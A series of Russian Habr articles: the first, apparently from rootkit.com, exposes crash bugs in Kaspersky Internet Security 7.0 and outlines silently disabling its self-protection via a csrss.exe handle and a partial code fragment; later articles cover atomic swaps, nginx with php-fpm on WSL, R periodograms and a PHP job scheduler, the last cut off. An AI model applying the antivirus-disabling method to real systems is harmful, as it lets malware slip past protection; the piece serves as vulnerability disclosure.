Internet Security v7.0 125 build > PAGE\_FAULT\_IN\_NONPAGED\_AREA (50) > > Invalid system memory was referenced. This cannot be protected by try-except, > > it must be protected by a Probe. Typically the address is just plain bad or it > > is pointing at freed memory. > > Arguments: > > Arg1: e0ae15f9, memory referenced. > > Arg2: 00000000, value 0 = read operation, 1 = write operation. > > Arg3: f8087e8c, If non-zero, the instruction address which referenced the bad memory > > address. > > Arg4: 00000000, (reserved) > > > > [весь текст bsod...](http://rootkit.com/newsread.php?newsid=778) > > Но и это еще не всё! Не смотря на сообщения о существующих уязвимостях в SSDT разработчики Касперского **до сих пор** не исправили их! Мы можем доказать это простой программой под названием NTCALL. После старта она начинает генерировать некорректные системные вызовы. NtCreateSection — вызов этой функции с неверными параметрами приведет к BSOD в klif.sys. Вот он наш BSOD: > KERNEL\_MODE\_EXCEPTION\_NOT\_HANDLED\_M (1000008e) > > This is a very common bugcheck. Usually the exception address pinpoints > > the driver/function that caused the problem. Always note this address > > as well as the link date of the driver/image that contains this address. > > Some common problems are exception code 0x80000003. This means a hard > > coded breakpoint or assertion was hit, but this system was booted > > /NODEBUG. This is not supposed to happen as developers should never have > > hardcoded breakpoints in retail code, but… > > If this happens, make sure a debugger gets connected, and the > > system is booted /DEBUG. This will let us see why this breakpoint is > > happening. > > Arguments: > > Arg1: c0000005, The exception code that was not handled > > Arg2: 805883ea, The address that the exception occurred at > > Arg3: f669a95c, Trap Frame > > Arg4: 00000000 > > > > Debugging Details: > > — ANALYSIS: Kernel with unknown size. Will force reload symbols with known size. > > ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004 > > \*\*\*\*\* Kernel symbols are WRONG. Please fix symbols to do analysis. > > > > MODULE\_NAME: klif > > > > [весь текст bsod...](http://rootkit.com/newsread.php?newsid=778) Что тут можно сказать?.. Пора прекращать извращаться с SSDT и писать нормальные обработчики для записей SSDT. Возьмите лучше и спросите [Олега Зайцева](http://www.kaspersky.ru/news?id=207732495), как правильно устанавливать хуки в SSDT ;) **Касперский и Теневая SSDT (Shadow SSDT)** Теневая SSDT — это специальная таблица в win32k.sys, которая содержит адреса системных функций, связанных с отображением пользовательского графического интерфейса (GDI). Касперский устанавливает здесь хуки на некоторые службы чтобы предотвратить работу клавиатурных шпионов и для самозащиты. И опять же хуки установлены **плохо**. NtUserSendInput с неверными параметрами и… -> хаха, новый BSOD, вам это не напоминает какой-то BSOD- генератор? =) > PAGE\_FAULT\_IN\_NONPAGED\_AREA (50) > > Invalid system memory was referenced. This cannot be protected by try-except, > > it must be protected by a Probe. Typically the address is just plain bad or it > > is pointing at freed memory. > > Arguments: > > Arg1: e1f83004, memory referenced. > > Arg2: 00000000, value 0 = read operation, 1 = write operation. > > Arg3: f9417eee, If non-zero, the instruction address which referenced the bad memory > > address. > > Arg4: 00000001, (reserved) > > > > Debugging Details: > > — ANALYSIS: Kernel with unknown size. Will force reload symbols with known size. > > ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004 > > \*\*\*\*\* Kernel symbols are WRONG. Please fix symbols to do analysis. > > > > MODULE\_NAME: klif > > [весь текст bsod...](http://rootkit.com/newsread.php?newsid=778) Для этой части рекомендации просты — запустите свой драйвер под отладчиком. Следующий код > var > >   p1: PChar; > > begin > >   p1 := PChar($ffffffff); > >   LoadLibraryA(p1); > > end; ведёт к Acces Violation и это нормально, потому что мы использовали некорректный параметр для функции, но то что **НЕ**нормально — это где возникает Acess Violation, по адресу — 0xF80B3306. Это не шутка — 0xF80B3306. В процессах ядра! А если быть точнее — в klif.sys. Давайте посмотрим, что происходит. Мы обнаружили сильную модификацию IAT([1](http://sandsprite.com/CodeStuff/Understanding_imports.html), [2](http://sandsprite.com/CodeStuff/IAT_Hooking.html)) для каждого процесса в системе. Смотрите что происходит с explorer.exe > [420]explorer.exe-->kernel32.dll-->LoadLibraryExA, Type: **IAT Modification at address** 0x010010A8-->7C882FB0 hook handler located in [kernel32.dll] > > [420]explorer.exe-->kernel32.dll-->LoadLibraryExW, Type: **IAT Modification at address** 0x010010F8-->7C882FD8 hook handler located in [kernel32.dll] > > [420]explorer.exe-->kernel32.dll-->LoadLibraryA, Type: **IAT Modification at address** 0x01001150-->7C882F9C hook handler located in [kernel32.dll] > > [420]explorer.exe-->kernel32.dll-->LoadLibraryW, Type: IAT Modification at address 0x010011D0-->7C882FC4 hook handler located in [kernel32.dll] > > [420]explorer.exe-->kernel32.dll-->GetProcAddress, Type: IAT Modification at address 0x010011E4-->7C882FEC hook handler located in [kernel32.dll] Странно, не так ли? Давайте отследим вызов LoadLibraryA. > KERNEL32.LoadLibraryA: > > > > push ebp > > mov ebp, esp > > nop > > pop ebp > > jmp +$7b830b4a //- перенаправление в klif.sys > > nop > > nop > > nop > > nop > > nop > > nop > > nop > > nop > > nop > > nop Вот так выглядит LoadLibraryA внутри kernel32.dll после перенаправления IAT Антивирусом Касперского. Разве это не извращение? Если вы инсталлируете этот антивирус себе на компьютер, вы (какая ирония!) открываете его для дополнительных уязвимостей и бэкдоров, созданных благодаря Антивирусу Касперского! Смех, да и только. В этой части мы рекомендуем разработчикам Касперского убрать извращения из своего продукта. Во первых существуют лучшие и более простые способы общаться с процессами ядра, а во-вторых — это просто извращение. **Антивирус Касперского и самозащита** Как большинство из вас знает, Антивирус Касперского активно защищает самого себя против атак. Его процессы защищены от несанкционированного доступа и от уничтожения зловредными программами. Но вопрос: насколько хорошо они защищены? Ответ: ПЛОХО. Касперский устанавливает несколько хуков в SSDT (т.е. NtOpenProcess, NtOpenThread, NtTerminateProcess и т.д) и несколько хуков в Теневой SSDT (NtUserFindWindowEx, NtUserBuildHwndList и т.д.) чтобы дополнительно защитить себя от атак. В конце концов он устанавливает себя как службу с настройками перезапуска при возникновении ошибки. Настройки службы защищены в реестре несколькими хуками в SSDT. Так как же мы можем убить этот антивирус? И нужно ли нам его убивать? Если мы убьём визуальную часть avp.exe то она будет заново запущена службой. Если мы убьём службу — она будет запущена менеджером контроля служб (SCM). Так как же мы можем уничтожить этот антивирус (в образовательных целях, конечно)? Вопрос хороший. Ответ прост — загрузить драйвер, после этого мы будем вне зоны интересов KAV. Но сначала нам нужно его приостановить, чтобы получить такую возможность, не правда ли? Не совсем. Существует как минимум три метода, с помощью которых можно тихо загрузить драйвер без малейшей реакции со стороны Проактивной Защиты Касперского 7.0. И я уверен что существуют еще методы. В нашем случае мы просто приостановим (suspend) все потоки (threads) процессов Антивируса Касперского; просто приостановим, ничего более — этого достаточно. Мы не можем обращаться к процессам Касперского напрямую, потому что владельцем SSDT является [PDM](http://www.google.com.ua/search?hl=uk&client=firefox-a&rls=org.mozilla%3Aen-US%3Aofficial&q=Process+Debug+Manager&btnG=%D0%9F%D0%BE%D1%88%D1%83%D0%BA&meta=). Так что самое время использовать «любимый» бэкдор-процесс по имени [csrss.exe](http://www.securitylab.ru/processinfo/266154.php) :) В этом примере мы априори предполагаем что KAV приложение названо avp.exe и csrss.exe существует в одном экземпляре (LOL, да, если у вас есть вредоносные программы, работающие на ring3 и маскирующиеся как csrss.exe, то с этим кодом будут определённые проблемы). > … > > pBuffer.dwSize := sizeof(PROCESSENTRY32W); > > SnapShotHandle := CreateToolHelp32SnapShot(TH32CS\_SNAPPROCESS, 0); > > … > > if (ZwOpenProcess(@ph, PROCESS\_ALL\_ACCESS, @attr, @cid1) <> STATUS\_SUCCESS) then exit; > > … > > ZwAllocateVirtualMemory(GetCurrentProcess(), [buf](https://habrahabr.ru/users/buf/), 0, @bytesIO, MEM\_COMMIT, PAGE\_READWRITE); > > ZwQuerySystemInformation(SystemHandleInformation, buf, 4194304, @bytesIO); > > [весь текст программы...](http://rootkit.com/newsread.php?newsid=778) После этого оба испольняемых модуля Касперского будут приостановлены и мы можем загрузить драйвера и сделать свою работу тихо =) Протестировано на KIS v7.0 build 125 с настройками по умолчанию. Windws XP SP2, права администратора. Мы рекомендуем ЛК пройти в HANDLE\_TABLE и изменить права доступа для хендлеров своих процессов. Плюс самое время улучшить хук на NtDuplicateObject. **Эпилог** Вы наверное сейчас спрашиваете себя, почему такие очевидные ошибки — действительно **чёрные ходы** до сих пор существуют в одном из самых популярных антивирусов? Да потому что кто-то должен хорошенько дать под зад Лаборатории Касперского. Не так давно мы опубликовали другой обзор ошибок KAV. Реакция была ожидаема. Они сказали что-то наподобие «Не волнуйтесь, это не критические ошибки». Ну да, возможно Синий экран смерти из под **Гостевой учётной записи** это не такая уж большая проблема для компании. «Действительно. Че за BSOD вообще? Фигня, расслабьтесь ребята» :) Но что-то меняется — они закрыли несколько опубликованных уязвимостей, так что должны были бы сказать небольшое спасибо нам. Вместо этого мы получаем кучу $@%$&#! в свой адрес (неофициально, конечно). Что ж, мы просто не переживаем по поводу такой реакции, так что не утруждайте себя ребята(фанатики?). Мы не хотим саморекламы и не хотим наблюдать тупейшие BSOD-ы от Касперского.<br/> <br/> Дорогие разработчики Лаборатории Касперского, ваш антивирус весьма хорош, об этом спору нет, но возможно пришло время поправить эти баги? Убрать извращения с SSDT/IAT. Тщательнее обработывать критические ситуации в своём драйвере. Нет серьёзно, а что не так? Смотря на klif.sys я вижу только одно — <b>большой, глючный</b> драйвер.<br/> <br/> Кстати, в некотором роде неофициальную реакцию от Лаборатории Касперского на наш предыдущий обзор klif.sys вы можете прочитать в этой чудесной статье, которая содержит несколько абсурдных утверждений и не несущих смысла комментариев. В нескольких словах: автор этой статьи частично обвинил нас в публикации информации про уязвимости в их старых и новых продуктах.<br/> <br/> <a href="http://www.viruslist.ru/analysis?pubid=204007553">www.viruslist.ru/analysis?pubid=204007553</a><br/> <br/> Статья на русском, но я уверен вы сможете найти английский вариант.<br/> <br/> Have fun,<br/> от VX heavens<br/> EP\_X0FF/UG North<br/> <br/> <a href="http://rootkit.com/newsread.php?newsid=778">rootkit.com</a><br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/olpictures/649/fc7/b8e/649fc7b8e2be4a36787ef699f73ad9d8.jpg" width="450" height="2" hspace="10" vspace="10" data-src="https://habrastorage.org/getpro/habr/olpictures/649/fc7/b8e/649fc7b8e2be4a36787ef699f73ad9d8.jpg" data-blurred="true"/><br/> <i>smartov: </i> Цитата из статьи, про которую они говорят в конце<br/> <blockquote>В последние годы чрезвычайно актуальна следующая ситуация. Некто из среды киберпреступников (или «исследователей», прикрывающихся белыми шляпами) разрабатывает концепт кода, обходящего современные средства защиты, и в целях самопиара, замаскированного под заботу о прогрессе, публикует его как «недетектируемый». Подчеркнем: разумеется, на деле такой концепт является не принципиально недетектируемым, а недетектируемым на уровне одно-двухшагового обхода известных функций средств защиты. Сделать такой одношаговый обход достаточно просто, если известны механизмы защиты.<br/> <br/> Подобные публикации заставляют беспокоиться определенный процент пользователей, не знакомых с принципами работы вредоносных программ и антивирусов («А защищает ли мое антивирусное средство от этого нового типа угроз?). В такой ситуации производителям средств защиты остается только бросить долю ресурсов на восстановление своего авторитета: на разработку технологий обхода описанного концепта, обычно таких же, как и сам концепт — одношаговых. В итоге авторитет восстанавливается (а как же иначе?), система «вредоносная программа — антивирус — пользователь» приходит в изначальное состояние, и процесс замыкается в цикл. Каждая новая его итерация порождает все более изощренные вредоносные программы и все более тяжеловесные средства защиты.</blockquote><br/> <br/> Как было в КВН: «Отличный план!». Такие себе бяки публикуют уязвимости, а из-за этого бедным-несчастным производителям антивирусов приходится оторваться от <s>стрижки капусты</s> разработки нового улучшенного пользовательского интерфейса и заняться их устранением.<br/> <br/> p.s. У самого установлен KAV 7.0.0.125…</div>
https://habr.com/ru/post/16037/
null
ru
null
# Atomic Swaps In A Nutshell Состоянием на июль 2019 года существует порядка 2000 криптовалют, однако единого механизма обмена между разными блокчейнами нет. В этой статье мы упрощенно рассмотрим как устроена одна из технологий обмена без посредников — атомарные обмены (atomic swaps). Приятного чтения! ![logo](https://habrastorage.org/r/w1560/webt/jc/ba/qj/jcbaqjix_if2eyc1wfdplh9y24y.png) Atomic Swaps: что это такое и с чем его едят? ============================================= Атомарные свопы — это серия транзакций на обих блокчейнах, которая позволяет обменять коины без участия третьей стороны и доверия ко второму участнику обмена. По сути, создается такая транзакция, выход которой можно потратить либо при наличии некого ключа, либо по истечении времени. Не все блокчейны позволяют реализовать AtomicSwap. Есть два главных требования: * поддержка смарт контрактов (генератор этой самой "начальной" транзакции); * использование одной и той же криптомагии (хеш-функции). **Смарт контракты? Не, не слышали**Smart contracts — в широком смысле, "неприклонный" алгоритм, выполняющий действия при заведомо определенных условиях и никак иначе. В нашем случае смарт контракт можно расссматривать как большой черный ящик, которому скармливают адрес получателя, адрес отправителя, сумму отправки, время удержания денег и присваивают уникальный идентификаор (hash). На выходе получается желаемая транзакция с условиями. **Хеш и его друзья**Хеш-функция — еще один персонаж из сказки о высшей математике. Преобразовывает поток входных данных в другое значение. Одни и те же данные дают один и тот же результат. Как правило, входные данные это большое число, именуемое секреным ключем, а выходные — хешем. Преобразовать хеш обратно в секретный ключ — невозможно. Когда все идет гладко ===================== Рассмотрим обмен между Алисой(да, да, Алиса уже не та) и Бобом. У Алисы есть Bitcoin (btc), у Боба есть Ether (eth). Оба персонажа имеют адреса на обоих блокчейнах. Прм.: большие знаки криптовалют символизируют блокчейны. ![](https://habrastorage.org/r/w1560/webt/he/-w/pn/he-wpn_bs0onorq7h0fk9lesjoi.png) Алиса генерирует ключ (большое число) и скромно никому его не сообщает: ![](https://habrastorage.org/r/w1560/webt/yg/yp/ki/ygypki8kwue-kfpciozfa1amdao.png) На основе ключа она считает хеш: ![](https://habrastorage.org/r/w1560/webt/6p/fy/05/6pfy05jkf_gsnkdpnmsobirlksw.png) Создает контракт с уникальным идентификатором равным хешу: ![](https://habrastorage.org/r/w1560/webt/o0/tb/o7/o0tbo7awy1tggp2hw6_2o4r1bwy.png) Отправляет на контракт деньги. Теперь она не может их тратить определенное время(timelock): **Время истекло, или timelock**Timelock — время, после которого создатель контракта сможет вернуть деньги, если отправит транзакцию определенного типа (назовем ее "refund"). Для этой транзакции не нужен секретный ключ. Другой пользователь может снять деньги на адресс указаного в контракте получателя(важно: не на свой), если отправит транзакцию другого типа(назовем ее redeem) с указанием секретного ключа. В целом механизм обработки транзакций контрактом следующий: ``` if (transaction_type == "refund" and sender == contract_creater and timelock < now()) { send_to(creator_address); } else if (transaction_type == "redeem" and hash(secret_key) == contract_id) { send_to(receiver_address); } ``` ![](https://habrastorage.org/r/w1560/webt/qn/a7/gv/qna7gvo-5i4xwnhcfxwtoe8fay4.png) Алиса сообщает хеш Бобу. Теперь он может проаудировать (проверить) все поля контракта: убедиться в правильности адресов, сумме отправки, времени хранения денег на контракте(период втечении которого Алиса не сможет их снять): ![](https://habrastorage.org/r/w1560/webt/dz/9g/03/dz9g03vs129wy9zt4lz1kwbwjo0.png) Если все good, Боб создает конракт на втором блокчейне аналогичный Алисиному (с тем же идентификатором). Меняется получатель и, возможно сумма (если курс не 1 к 1). ![](https://habrastorage.org/r/w1560/webt/y9/he/o3/y9heo3nanmlllp1p1c9wgfoh61m.png) Алиса аудирует контракт: ![](https://habrastorage.org/r/w1560/webt/u2/ab/px/u2abpxzaey8qdfotjdrcswduroq.png) Если ее все утраивает, она создает транзакцию на Ethereum, которая тратит деньги на контракте Боба. Единственный способ это сделать — предоставить ключ. Теперь он известен: ![](https://habrastorage.org/r/w1560/webt/bq/0q/57/bq0q57qn1v7p_hg1zfzus21qiy0.png) Алиса получает eth: ![](https://habrastorage.org/r/w1560/webt/69/s8/wu/69s8wut5tgijnspuyr7c4conq9u.png) Боб смотрит ключ и создает транзакцию, которая тратит деньги на контракте Алисы, воспользовавшись ее ключем: ![](https://habrastorage.org/r/w1560/webt/yz/pk/j9/yzpkj9qdzxpfshxb6nt6j-40-y4.png) Успех! Волки сыты, овцы целы! Когда мир не идеален ==================== Однако порой что-то может пойти не так. Есть два места, где обмен может сорваться. Для этого существует механизм, позволяющий вернуть деньги их законным обладателям. Допустим Алиса как порядочная девушка отправила деньги на контракт, но Боб после аудита передумал расставаться с эфирами : ![](https://habrastorage.org/r/w1560/webt/dz/9g/03/dz9g03vs129wy9zt4lz1kwbwjo0.png) Алиса ждет истечения timelock, указаного в контракте (допустим, 48 часов) и возвращает кровные биточки: ![](https://habrastorage.org/r/w1560/webt/69/vc/dw/69vcdwy1-vgf2fvclawn6gbbfg8.png) Другая история рассказывает о переменчивой Алисе, которая не захотела продолжать атомарный обмен, после того как Боб создал контракт. Альтернативный сценарий: Алиса потеряла ключ и не может этого сделать: ![](https://habrastorage.org/r/w1560/webt/u2/ab/px/u2abpxzaey8qdfotjdrcswduroq.png) Боб ждет время блокировки денег (оно обычно меньше Алисиного, чтобы Алиса не сняла деньги Боба в последнюю минуту, а потом не вернула свои; допустим 24 часа). Алиса возвращает свои деньги по истечению своего timelock. ![](https://habrastorage.org/r/w1560/webt/wl/ij/p-/wlijp-qfuo2p7dlqdxycxnhchg0.png) Заключение ========== Атомарные обмены весьма удобны для обмена точка-точка, минуя биржи и посредников. Участники обязуются заплатить лишь комисию за отправку транзакций. Подытожив, в обмене между А и C на блокчейнах Б1 и Б2 можно выделить такие шаги: 1. инициализация контракта на Б1 участником А; 2. аудирование контракта на Б1 участиком С; 3. инициализация контракта на Б2 участником С; 4. аудирование контракта на Б2 участиком А; 5. предоставление ключа и снятие денег на Б2 участником А; 6. получение ключа на Б2 участником С; 7. снятие денег на Б1 участником С. Технология новая, но уже активно внедряется. Возможно, в ближайшем будущем ей удастся заменить централизироанные и столь идеалогически чужие для блокчейна биржи.
https://habr.com/ru/post/458646/
null
ru
null
# Настройка связки php-fpm + nginx под WSL Я — виндузятник и всячески увиливаю от окончательного перехода на Linux на своём PC не смотря на все его преимущества. Поэтому последние пару лет для создания локальных площадок под проекты использовал Docker for Windows. Не сказать что штука сверхстабильная, но существенных проблем не вызывала, пока на одном проекте на Laravel площадка не стала вести себя странно: *часть* запросов (и всегда *разная* часть) возвращались с ошибкой. Скрипт не мог открыть файл кэша. Бесполезно потратив изрядное количество времени на поиск причины решил в данном случае отказаться от Docker и развернуть площадку под WSL в ручном режиме. Поскольку WSL — *почти* Linux, т.е. — не совсем, настройка имеет свои особенности. После того, как из bash были установлены MySQL, nginx и php7.2, в nginx настроен виртуальный сервер всё это отказалось работать. В логах nginx была такая запись: ``` connect() to unix:/var/run/php/php7.2-fpm.sock failed (2: No such file or directory) while connecting to upstream ``` В WSL насколько мне известно, нет сокетов как таковых, поэтому пришлось сделать следующее: 1. открыть на редактирование файл /etc/php/7.2/fpm/pool.d/www.conf, и исправить значение директивы listen ``` ; listen = /run/php/php7.2-fpm.sock ; old value listen = 127.0.0.1:9000 ; new value ``` 2. установить то же значение в настройке виртуального сервера nginx ``` location ~ \.php$ { ... fastcgi_pass 127.0.0.1:9000; ... } ``` Это дало вроде как работающий сервер. Вроде как потому что каждый запрос от обрабатывал оооооооооооооооооооооочень медленно. Аж по самый time limit. Для избавиться от тормозов, как оказалось, следует добавить строку в файл /etc/nginx/nginx.conf ``` http { ... fastcgi_buffering off; ... } ``` После этого система взлетела и пока отлично себя чувствует. --- → Описанные рецепты были найдены [здесь](https://stackoverflow.com/questions/46286420/php7-0-fpm-extremly-slow-on-ubuntu-windows-subsystem-linux) **P.S.** уже после обнаружил как-бы [способ](https://github.com/Microsoft/WSL/issues/1851#issuecomment-294299975) все таки запустить связку на сокетах, но пока не проверял. И [еще один](https://www.reddit.com/r/bashonubuntuonwindows/comments/65385r/nginx_and_php_7_running_on_wsl/).
https://habr.com/ru/post/454816/
null
ru
null
# Немного про периодограммы временных рядов Привет, Хабр! Сегодня хочу рассказать о периодограмме и одном из ее возможных применений в области анализа временных рядов. С ее помощью можно определять, насколько хорошо выделилась постоянная, сезонная и случайная составляющая, а также делать общие выводы о структуре временного ряда. В статье предлагаю посмотреть, как строится периодограмма и разобрать модельные и реальные примеры. Всем заинтересованным — добро пожаловать под кат. ### Немного теории Временной ряд — это последовательно измеренные через некоторые, чаще всего равные, промежутки времени данные. В классическом случае предполагается, что временной ряд состоит из трех составляющих: тренда (T\_n), сезонной (S\_n) и случайной (E\_n). Классические модели временных рядов: ![](https://habrastorage.org/r/w1560/webt/7n/cl/g8/7nclg8qmpqujuljj1qfxwl1n70q.png) в аддитивном случае и ![](https://habrastorage.org/r/w1560/webt/b2/vi/qc/b2viqcvu-ftv7j1vrvlvxw18sxw.png) в мультипликативном. Какая бы цель не была при исследовании временных рядов, часто в самом начале желательно попробовать отделить и проанализировать каждую компоненту. Объясню на нескольких примерах, зачем это может быть нужно. Зная тренд или тенденцию ряда, можно делать предсказания на несколько точек вперед и говорить о характере протекающего процесса в сколько-нибудь долгосрочной перспективе. Зная характер сезонной составляющей, можно формулировать различные гипотезы, а также корректировать прогноз в зависимости от характера сезонности. Случайную величину можно исследовать, чтобы понять, насколько исследуемый процесс подвержен случайным влияниям, и постараться исключить эту случайную часть при построении аппроксимации или прогноза. Для выделения и анализа каждой из частей используются специальные статистические техники и методики. С помощью анализа периодограммы ряда можно установить присутствие или отсутствие той или иной составляющей, а также ее характер и относительную величину. Сама периодограмма — это функция от частоты, которая показывает оценку спектральной плотности сигнала. Разберемся с этим подробнее. Вещественную функцию f можно представить в виде суммы синусов и косинусов разных частот через разложение Фурье. ![](https://habrastorage.org/r/w1560/webt/lq/9x/ha/lq9xhatbteyoszdcg3bt3umlfri.png) В случае, если вместо функции мы рассмотрим ряд, сумма квадратов коэффициентов перед синусом и косинусом конкретной частоты будет показывать влияние конкретных частот на значения ряда. Формально периодограмма записывается так: ![](https://habrastorage.org/r/w1560/webt/9o/hs/gp/9ohsgpgivg-tnioz1bhdm0sakua.png) Перейдем к практике и посмотрим, как это все можно использовать. Примеры ------- Рассмотрим примеры для нескольких модельных рядов и реальных данных. Для начала рассмотрим простейший ряд, состоящий из нормально распределенной случайной величины с нулевым математическим ожиданием и единичной дисперсией. Такой ряд называется гауссовским белым шумом. Сгенерируем тысячу наблюдений гауссовского белого шума ``` set.seed(1) par(mfrow=c(2,1)) data <- rnorm(1000, 0, 1) plot.ts(data, type="l") spectrum(data, log='no') ``` ![](https://habrastorage.org/r/w1560/webt/oz/hk/5w/ozhk5wy1kft237j2fio4ogcnsjo.png) Так как для шума вообще нет детерминирующих частот, мы видим из периодограммы, что каждая частота входит примерно с одинаковой силой. С увеличением количества наблюдений будет увеличиваться значение каждой частоты на сетке. Отсюда и название белый шум — все частоты намешаны в равных пропорциях. Мы не видим идеально равного вложения всех частот, так как это все-таки случайная величина, и конкретные отклонения зависят от реализации. Если у вас при выделении случайной компоненты получается что-то подобное, то можно предположить, что шум выделился правильно. Отличие красного шума от белого в том, что предыдущие значения влияют на следующие, т.е. имеют ненулевую корреляцию, в отличие от белого шума. Мы знаем, как считается корреляция, соответственно, можем выразить красный шум через белый с наперед заданным значением корреляции следующим образом ![](https://habrastorage.org/r/w1560/webt/nw/wr/zf/nwwrzfv6u9v-o7cpvelf2g5aong.png) Подробности можно посмотреть, например, [тут.](https://atmos.washington.edu/~breth/classes/AM582/lect/lect8-notes.pdf) ``` set.seed(42) wnoise <- rnorm(1000, 0, 1) w0 <- wnoise[1] wnoise <- wnoise[2:1000] cor <- 0.8 rnoise = Reduce(function(prev_v, next_v) cor * prev_v + next_v * sqrt(1 - cor^2), wnoise, w0, accumulate = T) par(mfrow=c(2,1)) plot.ts(rnoise, type="l") spectrum(rnoise, log='no') ``` ![](https://habrastorage.org/r/w1560/webt/hv/nk/fc/hvnkfcythdcwyx_nn5h2wrpjxh0.png) Как и ожидалось, у красного шума присутствуют в основном низкие частоты. Если задать корреляцию ближе к нулю, то получим белый шум, а если единицу, то константу, а именно первое значение ряда белого шума. Теперь предлагаю посмотреть на возможность применения с реальными временными рядами. Возьмем для примера [ряд](https://fred.stlouisfed.org/series/MRTSSM4453USN) продаж по пиву, вину, ликерам в миллионах долларов. ``` data <- read.table('./shared/MRTSSM4453USN.csv', sep=',', header=T, row.names = 1, ) data <- ts(data, start = c(1992, 1), frequency = 12) plot(data) ``` ![](https://habrastorage.org/r/w1560/webt/u8/49/_i/u849_iznebhh4hseaxh_b7eot1m.png) Очевидно, присутствует сезонность, посмотрим на периодограмму. ``` spectrum(data, log='no') ``` ![](https://habrastorage.org/r/w1560/webt/uh/dk/x4/uhdkx4izepwtokrhvcm8mwrwk0m.png) Из графика сразу видно, что по значению наибольшие пики находятся в сетке сезонности. Самый большой пик в точке 2, т.е. в периоде 2/12, что говорит о наличии полугодовой сезонности. Остальные можно проинтерпретировать аналогично. Также видим значения в области низких частот, это медленно меняющаяся компонента ряда — тренд. Таким образом, помимо того, что мы видим, какие частоты преобладают в ряде и какая у ряда есть периодичность, по периодограмме также можно оценить, насколько хорошо мы сгладили ряд. Сгладить ряд и выделить тренд можно множеством способов, и какой лучше, нужно решать в зависимости от характера данных. Для демонстрации будем использовать метод Classical Decomposition Model, содержащийся в стандартном пакете stats языка R. ``` decomposeTs <- stats::decompose(log(data)) plot(decomposeTs) ``` ![](https://habrastorage.org/r/w1560/webt/qo/3u/vf/qo3uvfcolcxyavz0hfovijclglu.png) Посмотрим периодограмму тренда, сезонности и шума ``` spectrum(decomposeTs$trend, log='no', na.action = na.omit) spectrum(decomposeTs$seasonal, log='no', na.action = na.omit) spectrum(decomposeTs$random, log='no', na.action = na.omit) ``` ![](https://habrastorage.org/r/w1560/webt/gx/c_/mq/gxc_mqejxb0jvkfctfsnioqcvrw.png) ![](https://habrastorage.org/r/w1560/webt/ba/iu/9c/baiu9camriwdrzea7o0wy3npsei.png) ![](https://habrastorage.org/r/w1560/webt/6v/ul/lv/6vullvpcolyvcw1n5ti1lrvsj-a.png) В периодограмме тренда присутствуют в основном низкие частоты, это хорошо. Сезонность слишком идеальная, это связано с методом выделения, который всегда выделяет чистую сезонность, так как оперирует усреднениями. Шум похож на случайную величину, присутствуют пики возле 4 и 5, которые обманчиво кажутся большими, но, если смотреть по значению, видно, что они не особо выделяются из шума. С другой стороны, их можно включить в ближайший период в сезонность, тогда шум будет еще ближе к случайному. Для данного примера стоит попробовать и другие методы, результаты которых также можно проанализировать с помощью периодограммы.
https://habr.com/ru/post/505738/
null
ru
null
# Простой планировщик задач на PHP ![image](https://habrastorage.org/r/w1560/webt/bk/qp/uj/bkqpujdoojwgc7zkxknngwa_cck.png) В процессе эволюции более-менее крупного проекта может настать ситуация, когда количество запланированных задач (cron jobs) становится настолько большим, что поддержка их становится ночным кошмаром devops'ов. Для решения этой проблемы мне пришла в голову идея создать реализацию планировщика на PHP, тем самым сделав его частью проекта, а сами задачи — частью его конфигурации. В этом случае необходимое и достаточное количество cron jobs будет равно единице. Некоторое время назад мне довелось разрабатывать модуль для планирования событий. Некое упрощенное подобие Google/Apple Calendar для пользователей приложения. Для хранения дат и правил повторения событий было решено использовать формат iCalendar ([RFC 5545](https://tools.ietf.org/html/rfc5545)), позволяющий одной строкой описать график повторения какого-либо события с учетом дней недели, месяцев, количества повторений и многого другого. Несколько примеров: `FREQ=WEEKLY;BYDAY=SU,WE` — Еженедельно в субботу и среду `FREQ=MONTHLY;COUNT=5` — Каждый месяц, пять раз `FREQ=YEARLY;INTERVAL=2;BYMONTH=1;BYDAY=SU` — Каждый второй год в каждую субботу января Как видите данный стандарт позволяет описать правила повторения события гораздо более гибко, чем предлагает cron. Для работы с форматом iCalendar была найдена замечательная библиотека (не пожалейте звезду): <https://github.com/simshaun/recurr> Имея инструмент для работы с RRULE (Recurrence Rule) дело осталось за малым. Написать несколько классов, позволяющих планировать и запускать задачи (являющиеся каким угодно проявлением PHP `callable` типа). ### Установка библиотеки: `composer require hutnikau/job-scheduler` ### Планирование и запуск задач: `\Scheduler\Job\Job` — Класс, представляющий задачу Для создания его экземпляра потребуется правило его повторения (RRULE) и экземпляр типа `callable`: ``` $startTime = new \DateTime('2017-12-12 20:00:00'); $rule = new \Scheduler\Job\RRule('FREQ=MONTHLY;COUNT=5', $startTime); //run monthly, at 20:00:00 starting from the 12th of December 2017, 5 times $job = new \Scheduler\Job\Job($rule, function () { //do something }); ``` Альтернативный вариант — использовать `\Scheduler\Job\Job::createFromString()`: ``` $job = \Scheduler\Job\Job::createFromString( 'FREQ=MONTHLY;COUNT=5', //Recurrence rule '2017-12-28T21:00:00', //Start date function() {}, //Callback 'Europe/Minsk' //Timezone. If $timezone is omitted, the current timezone will be used ); ``` Не забывайте о временных зонах. Настоятельно советую всегда указывать их явно (не только при работе с этой библиотекой, а с `\DateTime` в целом) во избежание неприятных сюрпризов. Добавляем задачу в планировщик: ``` $scheduler = new \Scheduler\Scheduler() $scheduler->addJob($job); ``` Так же можно передать массив задач в конструктор: ``` $scheduler = new \Scheduler\Scheduler([ $job, //more jobs here ]) ``` Запускаем запланированные задачи: ``` $jobRunner = new \Scheduler\JobRunner\JobRunner(); $from = new \DateTime('2017-12-12 20:00:00'); $to = new \DateTime('2017-12-12 20:10:00'); $reports = $jobRunner->run($scheduler, $from, $to, true); ``` В данном примере будут выполнены все задачи, запланированные на указанный промежуток времени (10 минут). Таким образом вам потребуется всего один cron job, запускающий `JobRunner`. Можно опустить параметр `$to`, таким образом будут выполнены все задачи, начиная от `$from` до текущего момента. Последний параметр определяет, будут ли выполнены задачи, время выполнения которых попало точно на пограничные значения ('2017-12-12 20:00:00' и '2017-12-12 20:10:00' из примера выше). При запуске планировщика при помощи cron я советую сохранять время последнего запуска, и при следующем запуске передавать его в параметр `$from` прибавив одну секунду, так как точность cron'а не идеальна, и существует вероятность пропустить какие-либо задачи или выполнить их дважды. `$jobRunner->run(...)`возвращает массив результатов выполненных задач (массив объектов типа `\Scheduler\Action\Report`). ``` \Scheduler\Action\Report { /* Methods */ public mixed getReport ( void ) public Action 